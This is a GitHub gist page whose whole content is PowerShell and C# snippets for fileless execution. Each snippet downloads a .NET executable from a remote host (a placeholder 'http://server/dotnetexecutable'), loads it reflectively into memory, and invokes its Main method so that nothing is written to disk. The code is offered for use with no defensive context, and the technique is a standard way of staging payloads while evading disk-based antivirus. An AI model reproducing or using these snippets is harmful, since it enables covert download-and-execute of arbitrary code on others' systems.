Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Last active March 9, 2022 16:42
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save FrankSpierings/283d9817d7d9b97b5d0592e6bd1a5a99 to your computer and use it in GitHub Desktop.
Save FrankSpierings/283d9817d7d9b97b5d0592e6bd1a5a99 to your computer and use it in GitHub Desktop.
Load the main of an executable from a remote server, without touching disk.
$url = "http://server/dotnetexecutable"
$data = (New-Object System.Net.WebClient).DownloadData($url);
$assem = [System.Reflection.Assembly]::Load($data);
$main = $assem.EntryPoint
$main.Invoke(0, @(,[string[]]@("args0")));
using System;
using System.Net;
using System.Reflection;
public class Run {
public static void Main() {
string url = "http://server/dotnetexecutable";
WebClient wc = new WebClient();
byte[] bytes = wc.DownloadData(url);
string[] args = new string[] {"args0"};
Object[] parameters = new object[] {args};
Assembly.Load(bytes).GetType("Namespace.Class").GetMethod("Main", BindingFlags.NonPublic|BindingFlags.Static).Invoke(0, parameters);
}
}
$data = (New-Object System.Net.WebClient).DownloadData('http://server/dotnetexecutable');
$assem = [System.Reflection.Assembly]::Load($data);
$class = $assem.GetType("Namespace.Class");
$method = $class.GetMethod('Main', [Reflection.BindingFlags]'NonPublic, Static');
$method.Invoke(0, @(,[string[]]@("args0")));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment